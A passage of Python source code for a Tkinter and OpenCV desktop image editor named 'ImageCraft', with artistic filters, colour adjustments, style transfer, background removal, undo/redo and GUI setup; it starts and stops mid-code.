= h - 1\n\n for j in range(0, w, step):\n\n left = j - templateSize\n right = j + templateSize + 1\n if left < 0:\n left = 0\n if right >= w:\n right = w - 1\n\n # Grayscale level statistics\n buckets = np.zeros(bucketSize, np.uint8)\n # Bucket array, counting the number of shades of gray in each bucket\n bucketsMean = [0, 0, 0]\n # For the bucket with the most pixels, find the three-channel color mean of all pixels in the bucket\n # Traversal of the template\n for c in range(top, bottom):\n for r in range(left, right):\n buckets[gray[c, r]] += 1\n # The pixels within the template are put into the corresponding buckets in turn\n # somewhat like a grayscale histogram\n maxBucket = np.max(buckets) # Find the bucket with the most pixels and its index\n maxBucketIndex = np.argmax(buckets)\n\n for c in range(top, bottom):\n for r in range(left, right):\n if gray[c, r] == maxBucketIndex:\n bucketsMean += img[c, r]\n bucketsMean = (bucketsMean / maxBucket).astype(int) # Three-channel color averaging\n\n # Oil painting drawings\n for m in range(step):\n for n in range(step):\n oilImg[m + i, n + j] = (bucketsMean[0], bucketsMean[1], bucketsMean[2])\n return oilImg\n\n\ndef img_pencil():\n global IMG\n global canvas\n IMG[:, :, 1], res = cv2.pencilSketch(IMG, sigma_s=100, sigma_r=0.05, shade_factor=0.1)\n IMG[:, :, 2] = IMG[:, :, 1]\n IMG[:, :, 0] = IMG[:, :, 1]\n Showimage(IMG, canvas)\n\n\ndef img2cartoon(img):\n img_rgb = img\n img_gray = cv2.cvtColor(img_rgb, cv2.COLOR_RGB2GRAY)\n img_blur = cv2.medianBlur(img_gray, 1) # The larger the value, the more blurred it is (taking odd numbers)\n # Reinforced edge lines\n img_edge = cv2.adaptiveThreshold(img_blur, 128, cv2.ADAPTIVE_THRESH_MEAN_C, cv2.THRESH_BINARY, blockSize=9, C=8)\n img_edge = cv2.cvtColor(img_edge, cv2.COLOR_GRAY2RGB) # Color image to grayscale image\n img_cartoon = cv2.bitwise_and(img_rgb, img_edge) # Grayscale image to color image\n # Adjust brightness and contrast\n res = np.uint8(np.clip((img_cartoon + 64), 0, 255))\n return res\n\n\ndef img2water_ink(img):\n img1 = cv2.medianBlur(img, 7)\n ret, img2 = cv2.threshold(img1, 200, 255, 2, img1) # Binarization functions\n dilate_kernel = np.ones((3, 3), np.uint8)\n img3 = cv2.dilate(img2, dilate_kernel)\n erode_kernel = np.ones((7, 7), np.uint8)\n img4 = cv2.erode(img3, erode_kernel)\n return img4\n\n\ndef img2ink():\n global IMG\n global canvas\n IMG = img2water_ink(IMG)\n Showimage(IMG, canvas)\n\n\ndef img2ink_gray():\n global IMG\n global canvas\n tIMG = img2water_ink(IMG)\n IMG[:, :, 0] = cv2.cvtColor(tIMG, cv2.COLOR_BGR2GRAY)\n IMG[:, :, 1] = cv2.cvtColor(tIMG, cv2.COLOR_BGR2GRAY)\n IMG[:, :, 2] = cv2.cvtColor(tIMG, cv2.COLOR_BGR2GRAY)\n IMG[IMG > 200] = 255\n Showimage(IMG, canvas)\n\n\ndef CB():\n global IMG\n global canvas\n IMG = img2cartoon(IMG)\n Showimage(img_rotate(IMG, rotate_value.get()), canvas, \"fit\") # Cartoon effect button response event\n\n\ndef img_cyberpunk():\n \"\"\"\n Cyberpunk style filters\n :return:\n \"\"\"\n global IMG\n image_hls = cv2.cvtColor(IMG, cv2.COLOR_BGR2HLS)\n image_hls = np.asarray(image_hls, np.float32)\n hue = image_hls[:, :, 0]\n hue[hue < 90] = 180 - hue[hue < 90]\n image_hls[:, :, 0] = hue\n image_hls = np.asarray(image_hls, np.uint8)\n image = cv2.cvtColor(image_hls, cv2.COLOR_HLS2BGR)\n image_lab = cv2.cvtColor(image, cv2.COLOR_BGR2Lab)\n image_lab = np.asarray(image_lab, np.float32)\n light_gamma_high = np.power(image_lab[:, :, 0], 0.8)\n light_gamma_high = np.asarray(light_gamma_high / np.max(light_gamma_high) * 255, np.uint8)\n light_gamma_low = np.power(image_lab[:, :, 0], 1.2)\n light_gamma_low = np.asarray(light_gamma_low / np.max(light_gamma_low) * 255, np.uint8)\n dark_b = image_lab[:, :, 2] * (light_gamma_low / 255) * 0.1\n dark_a = image_lab[:, :, 2] * (1 - light_gamma_high / 255) * 0.3\n image_lab[:, :, 2] = np.clip(image_lab[:, :, 2] - dark_b, 0, 255)\n image_lab[:, :, 2] = np.clip(image_lab[:, :, 2] - dark_a, 0, 255)\n image_lab = np.asarray(image_lab, np.uint8)\n IMG = cv2.cvtColor(image_lab, cv2.COLOR_Lab2BGR)\n Showimage(IMG, canvas)\n\n\ndef img_old_photo():\n global IMG\n img = IMG\n rows, cols = IMG.shape[:2]\n dst = np.zeros((rows, cols, 3), dtype=\"float32\")\n dst[:, :, 0] = 0.272 * img[:, :, 2] + 0.534 * img[:, :, 1] + 0.131 * img[:, :, 0]\n dst[:, :, 1] = 0.349 * img[:, :, 2] + 0.686 * img[:, :, 1] + 0.168 * img[:, :, 0]\n dst[:, :, 2] = 0.393 * img[:, :, 2] + 0.769 * img[:, :, 1] + 0.189 * img[:, :, 0]\n dst[dst > 255] = 255\n IMG = dst.astype(\"uint8\")\n Showimage(IMG, canvas)\n\n\ndef Portrait_beautification(value):\n global IMG\n image_dst = cv2.bilateralFilter(IMG, value, value * 2, value / 2)\n IMG = image_dst\n Showimage(IMG, canvas)\n\n\ndef Filter(*arg):\n filter_type = box_value.get()\n if filter_type == \"Cartoon\":\n CB()\n elif filter_type == \"Popart\":\n img_popart()\n elif filter_type == \"WaterColor\":\n img_watercolour()\n elif filter_type == \"OilPainting\":\n img_oilPainting()\n elif filter_type == \"PencilSketch\":\n img_pencil()\n\n\ndef img_slice():\n global IMG\n global canvas\n r1 = random.random()\n r2 = 1\n r3 = random.random()\n h, w, k = IMG.shape\n timg = np.zeros(IMG.shape) + 255\n\n timg[int(h / 6) + 2:int(h / 3) - 2, 0:int(r1 * w), :] = IMG[int(h / 6) + 2:int(h / 3) - 2, (w - int(r1 * w)):w, :]\n timg[int(h / 6) + 2:int(h / 3) - 2, int(r1 * w):w, :] = IMG[int(h / 6) + 2:int(h / 3) - 2, 0:(w - int(r1 * w)), :]\n\n timg[int(h / 3) + 4:2 * int(h / 3), 0:int(r2 * w), :] = IMG[int(h / 3) + 4:2 * int(h / 3), (w - int(r2 * w)):w, :]\n timg[int(h / 3) + 4:2 * int(h / 3), int(r2 * w):w, :] = IMG[int(h / 3) + 4:2 * int(h / 3), 0:(w - int(r2 * w)), :]\n\n timg[2 * int(h / 3) + 3:5 * int(h / 6) - 2, 0:int(r3 * w), :] = IMG[2 * int(h / 3) + 3:5 * int(h / 6) - 2,\n (w - int(r3 * w)):w, :]\n timg[2 * int(h / 3) + 3:5 * int(h / 6) - 2, int(r3 * w):w, :] = IMG[2 * int(h / 3) + 3:5 * int(h / 6) - 2,\n 0:(w - int(r3 * w)), :]\n\n timg[0:int(h / 6), :, :] = IMG[0:int(h / 6), :, :]\n timg[5 * int(h / 6):h, :, :] = IMG[5 * int(h / 6):h, :, :]\n\n IMG = timg.astype(\"uint8\")\n Showimage(IMG, canvas)\n\n\ndef placeItem(name):\n global canvas\n enlarge_scale.pack_forget()\n rotate_scale.pack_forget()\n cut_scaleD.pack_forget()\n cut_scaleL.pack_forget()\n cut_scaleR.pack_forget()\n cut_scaleU.pack_forget()\n R_scale.pack_forget()\n G_scale.pack_forget()\n B_scale.pack_forget()\n mix_scaleL.place_forget()\n mix_scaleR.place_forget()\n\n global tip_flag\n if name == \"Enlarge\":\n enlarge_scale.pack(fill=\"x\", padx=30, pady=20)\n elif name == \"Rotate\":\n rotate_scale.pack(fill=\"x\", padx=30, pady=10)\n elif name == \"Cut\":\n cut_scaleL.pack(side=\"bottom\", fill=\"x\", anchor=\"s\", padx=20, pady=5)\n cut_scaleR.pack(side=\"bottom\", fill=\"x\", anchor=\"s\", padx=20, pady=5)\n cut_scaleU.pack(side=\"right\", fill=\"y\", padx=10, pady=5)\n cut_scaleD.pack(side=\"right\", fill=\"y\", padx=10, pady=5)\n\n elif name == \"RGB\":\n R_scale.pack(fill=\"x\")\n G_scale.pack(fill=\"x\")\n B_scale.pack(fill=\"x\")\n\n elif name == \"Mix\":\n global cover\n cover_name = filedialog.askopenfilename()\n cover = cv2.imread(cover_name)\n cover = cv2.resize(cover, (IMG.shape[1], IMG.shape[0]))\n mix_scaleL.place(x=50, y=530, width=700, height=20)\n mix_scaleR.place(x=50, y=550, width=700, height=20)\n\n elif name == \"Brightness\":\n adjust_mole.set(\"Brightness\")\n if tip_flag == 1:\n showinfo(title=\"tips\", message=\"Use the mouse wheel to make color adjustments!\")\n tip_flag = 0\n\n elif name == \"Saturation\":\n adjust_mole.set(\"Saturation\")\n if tip_flag == 1:\n showinfo(title=\"tips\", message=\"Use the mouse wheel to make color adjustments!\")\n tip_flag = 0\n\n elif name == \"Contrast\":\n adjust_mole.set(\"Contrast\")\n if tip_flag == 1:\n showinfo(title=\"tips\", message=\"Use the mouse wheel to make color adjustments!\")\n tip_flag = 0\n\n elif name == \"Shadow_improvement\":\n adjust_mole.set(\"Shadow_improvement\")\n if tip_flag == 1:\n showinfo(title=\"tips\", message=\"Use the mouse wheel to make color adjustments!\")\n tip_flag = 0\n\n elif name == \"Highlight\":\n adjust_mole.set(\"Highlight\")\n if tip_flag == 1:\n showinfo(title=\"tips\", message=\"Use the mouse wheel to make color adjustments!\")\n tip_flag = 0\n\n\ndef RGB_edit(value):\n global IMG\n tIMG = IMG.astype(\"float32\")\n tIMG[:, :, 0] = IMG[:, :, 0] * (0.5 + RGB_R.get())\n tIMG[:, :, 1] = IMG[:, :, 1] * (0.5 + RGB_G.get())\n tIMG[:, :, 2] = IMG[:, :, 2] * (0.5 + RGB_B.get())\n tIMG[tIMG > 255] = 255\n tIMG = tIMG.astype(\"uint8\")\n Showimage(tIMG, canvas, TYPE=1)\n\n\ndef img_auto_colorful():\n global IMG\n med = np.median(IMG.astype(np.float32)) # Get the median M\n img_temp = 1 / (1 + np.power((med / (IMG + 1e-6)), 4.5)) # 4.5 is the slope\n temp2 = img_temp - np.min(img_temp)\n img_con_str = np.uint8(255 * (temp2 / np.max(temp2)))\n IMG = img_con_str\n Showimage(IMG, canvas)\n\n\ndef img_BrightnessEdit(l):\n if l > 0:\n l = 1.05\n else:\n l = 0.94\n global IMG\n sp = IMG.shape\n tIMG = IMG * l\n tIMG[tIMG > 255] = 255\n # hsv = cv2.cvtColor(IMG, cv2.COLOR_BGR2HSV)\n # hsv[:, :, 2] = hsv[:, :, 2] * l\n # np.clip(hsv, 0, 255, hsv)\n # IMG = cv2.cvtColor(hsv, cv2.COLOR_HSV2BGR)\n # np.clip(IMG, 0, 255, IMG)\n tIMG = tIMG.astype(\"uint8\")\n IMG = tIMG\n Showimage(tIMG, canvas)\n\n\ndef img_SaturationEdit(l):\n global IMG\n if l > 0:\n l = 1.05\n else:\n l = 0.97\n tIMG = cv2.cvtColor(IMG, cv2.COLOR_BGR2HLS)\n tIMG = tIMG.astype(\"float32\")\n # The data type conversion is important here because unsigned 8-bit shaping will overflow\n tIMG[:, :, 2] = tIMG[:, :, 2] * l\n tIMG[:, :, 2][tIMG[:, :, 2] > 255] = 255\n tIMG = tIMG.astype(\"uint8\")\n IMG = cv2.cvtColor(tIMG, cv2.COLOR_HLS2BGR)\n Showimage(IMG, canvas)\n\n\ndef img_ShadowEdit(l):\n global IMG\n if l > 0:\n l = 1.03\n else:\n l = 0.97\n sp = IMG.shape\n pixels = sp[0] * sp[1]\n tIMG = cv2.cvtColor(IMG, cv2.COLOR_BGR2HLS)\n tIMG = tIMG.astype(\"float32\")\n mid = sum(sum(tIMG[:, :, 1])) / pixels - 20\n tIMG[:, :, 1][tIMG[:, :, 1] < mid] = tIMG[:, :, 1][tIMG[:, :, 1] < mid] * l\n tIMG = tIMG.astype(\"uint8\")\n IMG = cv2.cvtColor(tIMG, cv2.COLOR_HLS2BGR)\n Showimage(IMG, canvas)\n\n\ndef img_HighlightEdit(l):\n global IMG\n if l > 0:\n l = 1.03\n else:\n l = 0.97\n sp = IMG.shape\n pixels = sp[0] * sp[1]\n tIMG = cv2.cvtColor(IMG, cv2.COLOR_BGR2HLS)\n tIMG = tIMG.astype(\"float32\")\n mid = sum(sum(tIMG[:, :, 1])) / pixels + 20\n tIMG[:, :, 1][tIMG[:, :, 1] > mid] = tIMG[:, :, 1][tIMG[:, :, 1] > mid] * l\n tIMG[:, :, 1][tIMG[:, :, 1] > 255] = 255\n tIMG = tIMG.astype(\"uint8\")\n IMG = cv2.cvtColor(tIMG, cv2.COLOR_HLS2BGR)\n Showimage(IMG, canvas)\n\n\ndef img_ContrastEdit(l):\n if l > 0:\n l = 0.05\n else:\n l = -0.05\n global IMG\n sp = IMG.shape\n pixels = sp[0] * sp[1]\n r = np.sum(IMG[:, :, 0]) / pixels\n g = np.sum(IMG[:, :, 1]) / pixels\n b = np.sum(IMG[:, :, 2]) / pixels\n tIMG = IMG.astype(\"float32\")\n tIMG[:, :, 0] = IMG[:, :, 0] + (IMG[:, :, 0] - r) * l\n tIMG[:, :, 1] = IMG[:, :, 1] + (IMG[:, :, 1] - g) * l\n tIMG[:, :, 2] = IMG[:, :, 2] + (IMG[:, :, 2] - b) * l\n tIMG[tIMG > 255] = 255\n tIMG[tIMG < 0] = 0\n IMG = tIMG\n IMG = IMG.astype(\"uint8\")\n Showimage(IMG, canvas)\n\n\ndef place_temp_save_button(event):\n TempSave.place(x=event.x, y=event.y, width=60, height=20)\n restore_button.place(x=event.x, y=event.y + 20, width=60, height=20)\n\n\ndef hide_temp_save_button(event):\n TempSave.place_forget()\n restore_button.place_forget()\n\n\ndef img_adjustSize(image, num):\n x, y = image.shape[0:2]\n i = 1\n if x * y > num * num:\n i = (num / x + num / y) / 2\n image = cv2.resize(image, (int(y * i), int(x * i)))\n return image\n\n\ndef adjustByMouse(event):\n if adjust_mole.get() == \"Brightness\":\n img_BrightnessEdit(event.delta)\n elif adjust_mole.get() == \"Saturation\":\n img_SaturationEdit(event.delta)\n elif adjust_mole.get() == \"Contrast\":\n img_ContrastEdit(event.delta)\n elif adjust_mole.get() == \"Shadow_improvement\":\n img_ShadowEdit(event.delta)\n elif adjust_mole.get() == \"Highlight\":\n img_HighlightEdit(event.delta)\n\n\ndef img_color_transfer():\n global IMG\n target = IMG\n t_name = filedialog.askopenfilename() # Get the selected file\n source = cv2.imread(t_name)\n # Conversion from RGB space to LAB space\n source = cv2.cvtColor(source, cv2.COLOR_BGR2LAB).astype(\"float32\")\n target = cv2.cvtColor(target, cv2.COLOR_BGR2LAB).astype(\"float32\")\n # Conversion from RGB space to LAB space\n (lMeanSrc, lStdSrc, aMeanSrc, aStdSrc, bMeanSrc, bStdSrc) = image_stats(source)\n (lMeanTar, lStdTar, aMeanTar, aStdTar, bMeanTar, bStdTar) = image_stats(target)\n\n # Divide the L, a and b channels of the target image and subtract the corresponding mean values\n (l, a, b) = cv2.split(target)\n l -= lMeanTar\n a -= aMeanTar\n b -= bMeanTar\n\n # Standardization of L, a and b channels respectively\n l = (lStdTar / lStdSrc) * l\n a = (aStdTar / aStdSrc) * a\n b = (bStdTar / bStdSrc) * b\n\n # Plus the mean value\n l += lMeanSrc\n a += aMeanSrc\n b += bMeanSrc\n\n # Restrict the result of processing to the space of [0,255]\n l = np.clip(l, 0, 255)\n a = np.clip(a, 0, 255)\n b = np.clip(b, 0, 255)\n\n # Combine the L, a, and b channels and convert them back to RGB color space\n transfer = cv2.merge([l, a, b])\n transfer = cv2.cvtColor(transfer.astype(\"uint8\"), cv2.COLOR_LAB2BGR)\n IMG = transfer\n Showimage(IMG, canvas)\n\n\ndef image_stats(image):\n # Calculate the mean and variance values for each channel\n (l, a, b) = cv2.split(image)\n (lMean, lStd) = (l.mean(), l.std())\n (aMean, aStd) = (a.mean(), a.std())\n (bMean, bStd) = (b.mean(), b.std())\n # Return the corresponding statistical information\n return lMean, lStd, aMean, aStd, bMean, bStd\n\n\ndef img_style_transform(model):\n global IMG\n IMG = img_adjustSize(IMG, 400)\n net = cv2.dnn.readNetFromTorch(r\"models\\candy.t7\")\n if model == \"candy\":\n net = cv2.dnn.readNetFromTorch(r\"models\\candy.t7\")\n elif model == \"composition\":\n net = cv2.dnn.readNetFromTorch(r\"models\\composition_vii.t7\")\n elif model == \"feathers\":\n net = cv2.dnn.readNetFromTorch(r\"models\\feathers.t7\")\n elif model == \"la_muse\":\n net = cv2.dnn.readNetFromTorch(r\"models\\la_muse.t7\")\n elif model == \"mosaic\":\n net = cv2.dnn.readNetFromTorch(r\"models\\mosaic.t7\")\n elif model == \"starry_night\":\n net = cv2.dnn.readNetFromTorch(r\"models\\starry_night.t7\")\n elif model == \"scream\":\n net = cv2.dnn.readNetFromTorch(r\"models\\the_scream.t7\")\n elif model == \"wave\":\n net = cv2.dnn.readNetFromTorch(r\"models\\the_wave.t7\")\n elif model == \"udnie\":\n net = cv2.dnn.readNetFromTorch(r\"models\\udnie.t7\")\n\n cap = IMG\n sp = IMG.shape\n pixels = sp[0] * sp[1]\n r = np.sum(IMG[:, :, 0]) / pixels\n g = np.sum(IMG[:, :, 1]) / pixels\n b = np.sum(IMG[:, :, 2]) / pixels\n\n inp = cv2.dnn.blobFromImage(cap, 1.0, (cap.shape[1], cap.shape[0]), (r, g, b), swapRB=False, crop=False)\n net.setInput(inp)\n out = net.forward()\n out = out.reshape(3, out.shape[2], out.shape[3])\n out[0] += r\n out[1] += g\n out[2] += b\n out = out.transpose(1, 2, 0)\n out[out > 255] = 255\n out[out < 0] = 0\n IMG = out\n IMG = IMG.astype(\"uint8\")\n Showimage(IMG, canvas)\n\n\ndef show_JDT():\n time_scale.pack(anchor=\"center\", expand=\"True\", ipadx=10, ipady=10, fill=\"x\")\n\n\ndef img_to_pix():\n show_JDT()\n thread1 = JDThread()\n thread2 = PIXThread()\n thread1.start()\n thread2.start()\n\n\ndef img_to_lego():\n show_JDT()\n thread1 = JDThread()\n thread2 = LegoThread()\n thread1.start()\n thread2.start()\n\n\ndef img_to_heart():\n show_JDT()\n thread1 = JDThread()\n thread2 = HeartThread()\n thread1.start()\n thread2.start()\n\n\ndef img_to_mc():\n show_JDT()\n thread1 = JDThread()\n thread2 = MCThread()\n thread1.start()\n thread2.start()\n\n\ndef img_glsg():\n show_JDT()\n thread1 = JDThread()\n thread2 = GLSGThread()\n thread1.start()\n thread2.start()\n\n\nclass JDThread(threading.Thread): # Inherits parent class threading.\n def run(self):\n print(\"Starting \" + self.name)\n while P.get() < 99:\n P.set(P.get() + 0.3)\n time.sleep(0.01)\n\n\nclass OJDThread(threading.Thread): # Inherits parent class threading.\n def run(self):\n print(\"Starting \" + self.name)\n while P.get() < 99:\n P.set(P.get() + 0.1)\n time.sleep(0.01)\n\n\nclass PIXThread(threading.Thread):\n def run(self):\n global IMG\n tiler.main(filename.get(), r\"tiles\\circles\\gen_circle_100\")\n IMG = cv2.imread(\"out.png\")\n time_scale.pack_forget()\n P.set(100)\n Showimage(IMG, canvas)\n P.set(0)\n\n\nclass LegoThread(threading.Thread):\n def run(self):\n global IMG\n tiler.main(filename.get(), r\"tiles\\lego\\gen_lego_v\")\n IMG = cv2.imread(\"out.png\")\n time_scale.pack_forget()\n P.set(100)\n Showimage(IMG, canvas)\n P.set(0)\n\n\nclass HeartThread(threading.Thread):\n def run(self):\n global IMG\n tiler.main(filename.get(), r\"tiles\\hearts\\gen_heart\")\n IMG = cv2.imread(\"out.png\")\n time_scale.pack_forget()\n P.set(100)\n Showimage(IMG, canvas)\n P.set(0)\n\n\nclass GLSGThread(threading.Thread):\n def run(self):\n global IMG\n tiler.main(filename.get(), r\"tiles\\gen_glsg\")\n IMG = cv2.imread(\"out.png\")\n time_scale.pack_forget()\n P.set(100)\n Showimage(IMG, canvas)\n P.set(0)\n\n\nclass MCThread(threading.Thread):\n def run(self):\n global IMG\n tiler.main(filename.get(), r\"tiles\\minecraft\")\n IMG = cv2.imread(\"out.png\")\n time_scale.pack_forget()\n P.set(100)\n Showimage(IMG, canvas)\n P.set(0)\n\n\ndef img_style_transform_old(model):\n global IMG\n if model == \"candy\":\n net = cv2.dnn.readNetFromTorch(r\"models\\candy.t7\")\n elif model == \"composition\":\n net = cv2.dnn.readNetFromTorch(r\"models\\composition_vii.t7\")\n elif model == \"feathers\":\n net = cv2.dnn.readNetFromTorch(r\"models\\feathers.t7\")\n elif model == \"la_muse\":\n net = cv2.dnn.readNetFromTorch(r\"models\\la_muse.t7\")\n elif model == \"mosaic\":\n net = cv2.dnn.readNetFromTorch(r\"models\\mosaic.t7\")\n elif model == \"starry_night\":\n net = cv2.dnn.readNetFromTorch(r\"models\\starry_night.t7\")\n elif model == \"scream\":\n net = cv2.dnn.readNetFromTorch(r\"models\\the_scream.t7\")\n elif model == \"wave\":\n net = cv2.dnn.readNetFromTorch(r\"models\\the_wave.t7\")\n elif model == \"udnie\":\n net = cv2.dnn.readNetFromTorch(r\"models\\udnie.t7\")\n cap = IMG\n sp = IMG.shape\n pixels = sp[0] * sp[1]\n r = np.sum(IMG[:, :, 0]) / pixels\n g = np.sum(IMG[:, :, 1]) / pixels\n b = np.sum(IMG[:, :, 2]) / pixels\n\n inp = cv2.dnn.blobFromImage(cap, 1.0, (cap.shape[1], cap.shape[0]), (r, g, b), swapRB=False, crop=False)\n net.setInput(inp)\n out = net.forward()\n out = out.reshape(3, out.shape[2], out.shape[3])\n out[0] += r\n out[1] += g\n out[2] += b\n out = out.transpose(1, 2, 0)\n out[out > 255] = 255\n out[out < 0] = 0\n IMG = out\n IMG = IMG.astype(\"uint8\")\n Showimage(IMG, canvas)\n\n\ndef img_remove(img):\n img = Image.fromarray(img)\n img = remove(img)\n img = cv2.cvtColor(np.asarray(img), cv2.COLOR_RGB2BGR)\n img = cv2.cvtColor(img, cv2.COLOR_BGR2RGB)\n return img\n\n\ndef img_get_foreground(type):\n global IMG\n IMG = img_remove(IMG)\n black_pixels = IMG[:, :, 0] + IMG[:, :, 1] + IMG[:, :, 2] < 3\n if type == \"W\":\n IMG[black_pixels] = [255, 255, 255]\n if type == \"R\":\n IMG[black_pixels] = [0, 0, 255]\n if type == \"B\":\n IMG[black_pixels] = [255, 0, 0]\n Showimage(IMG, canvas)\n\n\ndef Segment(src, sky_img):\n \"\"\"\n Change the sky\n :param src: input\n :param sky_img: new background\n :return:\n \"\"\"\n hsv_img = cv2.cvtColor(src, cv2.COLOR_BGR2HSV)\n hsv_img[2] = cv2.equalizeHist(hsv_img[2])\n\n lower_red = np.array([100, 48, 40])\n upper_red = np.array([124, 255, 255])\n range_img = cv2.inRange(hsv_img, lower_red, upper_red)\n\n kernel = cv2.getStructuringElement(cv2.MORPH_ELLIPSE, (10, 10))\n Erode_img = cv2.erode(range_img, kernel)\n Dilation_img = cv2.dilate(Erode_img, kernel)\n\n ret, mask = cv2.threshold(Dilation_img, 150, 255, cv2.THRESH_BINARY)\n not_mask = cv2.bitwise_not(mask)\n front_pic = cv2.bitwise_and(src, src, mask=not_mask)\n\n sky_resize = cv2.resize(sky_img, (src.shape[1], src.shape[0]))\n back_image = cv2.bitwise_and(sky_resize, sky_resize, mask=mask)\n merge_img = cv2.add(back_image, front_pic)\n return merge_img\n\n\ndef change_sky():\n global IMG\n sky = cv2.imread(filedialog.askopenfilename())\n IMG = Segment(IMG, sky)\n Showimage(IMG, canvas)\n\n\ndef illumination(img, lightIntensity, x=0, y=0): # Parameters are original image and light intensity\n h, w = img.shape[0:2]\n img1 = np.zeros((h, w, 3), dtype=img.dtype)\n x, y = int(h / 2), int(w / 2)\n r = min(x, y)\n for i in range(h):\n for j in range(w):\n distance = (x - i) ** 2 + (y - j) ** 2\n if distance > r ** 2:\n img1[i, j] = img[i, j]\n else:\n result = int(lightIntensity * (1.0 - np.sqrt(distance) / r))\n B = min(max(0, img[i, j, 0] + result), 255)\n G = min(max(0, img[i, j, 1] + result), 255)\n R = min(max(0, img[i, j, 2] + result), 255)\n img1[i, j] = [B, G, R]\n return img1\n\n\ndef img_lightning():\n global IMG\n IMG = illumination(IMG, 150)\n Showimage(IMG, canvas)\n\n\ndef imgAddBorder(img, img2):\n img2 = cv2.resize(img2, (img.shape[1], img.shape[0]))\n gray = cv2.cvtColor(img2, cv2.COLOR_BGR2GRAY)\n ret, mask = cv2.threshold(gray, 235, 255, cv2.THRESH_BINARY)\n mask_inv = cv2.bitwise_not(mask)\n\n img1_bg = cv2.bitwise_and(img, img, mask=mask)\n img2_fg = cv2.bitwise_and(img2, img2, mask=mask_inv)\n dst = cv2.add(img1_bg, img2_fg)\n return dst\n\n\ndef img_border(type):\n global IMG\n border = cv2.imread(\"edge/e\" + str(type) + \".jpg\")\n IMG = imgAddBorder(IMG, border)\n Showimage(IMG, canvas)\n\n\ndef fastFlash(img):\n global IMGs\n global position\n global count\n N = len(IMGs)\n for i in range(0, N - position):\n IMGs.pop(-1)\n IMGs.append(img)\n position = position + 1\n\n\ndef Undo(event=None):\n global IMGs\n global IMG\n global position\n if position > 1:\n position = position - 1\n IMG = IMGs[position - 1]\n Showimage(IMG, canvas, TYPE=1)\n print(position)\n\n\ndef Redo(event=None):\n global IMGs\n global IMG\n global position\n if position < len(IMGs):\n position = position + 1\n IMG = IMGs[position - 1]\n Showimage(IMG, canvas, TYPE=1)\n print(position)\n\n\ndef Quit(event=None):\n if askyesno('Warning!', \"Confirm exit? Your operation may not have been saved!\"):\n root.quit()\n\n\nif __name__ == '__main__':\n style = Style(theme=\"lumen\") # style = Style(theme=\"lumen\")\n root = style.master\n root.title(\"ImageCraft\")\n root.geometry(\"800x630\")\n\n global IMG\n global IMGs\n global position\n global canvas\n global cover\n\n filename = tkinter.StringVar()\n # tk is the method used to record the name of the variable, here the file name of the image\n new_filename = tkinter.StringVar()\n # File name for saving\n adjust_mole = tkinter.StringVar()\n # Mode of color adjustment\n box_value = tkinter.StringVar()\n # Drop-down box for filter options\n rotate_value = IntVar()\n # Image rotation value\n enlarge_value = DoubleVar()\n # Image magnification value\n cutR = tkinter.DoubleVar() # Right\n cutL = tkinter.DoubleVar() # Left\n cutU = tkinter.DoubleVar() # UP\n cutD = tkinter.DoubleVar() # Down\n mixL = tkinter.DoubleVar()\n mixR = tkinter.DoubleVar()\n\n RGB_R = tkinter.DoubleVar() # RGB\n RGB_G = tkinter.DoubleVar()\n RGB_B = tkinter.DoubleVar()\n\n P = tkinter.DoubleVar() # Progress bar\n\n rotate_value.set(0) # Initialize to 0\n enlarge_value.set(1)\n cutR.set(1)\n cutL.set(0)\n cutU.set(0)\n cutD.set(1)\n mixL.set(1)\n mixR.set(0)\n RGB_R.set(0.5)\n RGB_B.set(0.5)\n RGB_G.set(0.5)\n\n # Enlarge slider\n enlarge_scale = Scale(root, from_=1, to=1.85, resolution=0.01, background=\"red\", bd=1, variable=enlarge_value,\n command=enlarge_IMG, showvalue=False, orient=HORIZONTAL)\n # Rotating slider\n rotate_scale = Scale(root, from_=-180, to=180, resolution=1, showvalue=False, background=\"red\", orient=HORIZONTAL,\n variable=rotate_value, command=rotate_IMG)\n # Bind the slider's value to the global image rotation value\n\n # Cutting sliders\n cut_scaleL = Scale(root, from_=0, to=1, resolution=0.001, showvalue=False, orient=HORIZONTAL, variable=cutL,\n command=cutIMG) # Cut from the left\n cut_scaleR = Scale(root, from_=0, to=1, resolution=0.001, showvalue=False, orient=HORIZONTAL, variable=cutR,\n command=cutIMG) # Cut from the right\n cut_scaleU = Scale(root, from_=0, to=1, resolution=0.001, showvalue=False, variable=cutU, command=cutIMG)\n # Cut from the left\n cut_scaleD = Scale(root, from_=0, to=1, resolution=0.001, showvalue=False, variable=cutD, command=cutIMG)\n # Cut from the left\n\n # Hybrid slider\n mix_scaleL = Scale(root, from_=0, to=1, resolution=0.001, showvalue=False, orient=HORIZONTAL, variable=mixL,\n command=mixIMG)\n mix_scaleR = Scale(root, from_=0, to=1, resolution=0.001, showvalue=False, orient=HORIZONTAL, variable=mixR,\n command=mixIMG)\n\n R_scale = Scale(root, from_=0.2, to=0.8, resolution=0.001, showvalue=False, orient=HORIZONTAL, variable=RGB_R,\n command=RGB_edit)\n G_scale = Scale(root, from_=0.2, to=0.8, resolution=0.001, showvalue=False, orient=HORIZONTAL, variable=RGB_G,\n command=RGB_edit)\n B_scale = Scale(root, from_=0.2, to=0.8, resolution=0.001, showvalue=False, orient=HORIZONTAL, variable=RGB_B,\n command=RGB_edit)\n\n # Mouse event binding\n root.bind(\"\", place_temp_save_button) # Right mouse button\n root.bind(\"\", hide_temp_save_button) # Stand-alone release\n root.bind(\"\", adjustByMouse) # Mouse events\n root.bind(\"\", restoreByMouse)\n root.bind_all(\"\", Undo) # rollback\n root.bind_all(\"\", Undo)\n root.bind_all(\"\", Redo) # Redo\n root.bind_all(\"\", Redo)\n root.bind_all(\"\", fileSave) # save\n root.bind_all(\"\", fileSave)\n root.bind_all(\"\", findIMG) # open\n root.bind_all(\"\", findIMG)\n root.bind_all(\"\", Quit) # quit\n root.bind_all(\"\", Quit)\n root.bind_all(\"\", restore)\n root.bind_all(\"\", restore)\n\n # File menu options\n menubar = Menu(root, tearoff=False)\n root.config(menu=menubar)\n file_menu = tkinter.Menu(menubar, tearoff=False)\n for item in [\"Open\", \"Restart\", \"Edit\", \"Save\", \"Quit\"]:\n if item == \"Quit\":\n file_menu.add_separator() # 分割线\n file_menu.add_command(label=item, command=root.quit)\n elif item == \"Open\":\n file_menu.add_command(label=item, command=findIMG)\n elif item == \"Save\":\n file_menu.add_command(label=item, command=fileSave)\n elif item == \"Restart\":\n file_menu.add_command(label=item, command=lambda:restore(None))\n menubar.add_cascade(label=\"File\", menu=file_menu)\n\n # Edit Menu Options\n edit_menu = tkinter.Menu(menubar, tearoff=False)\n for item in [\"Enlarge\", \"Rotate\", \"Cut\", \"Brightness\", 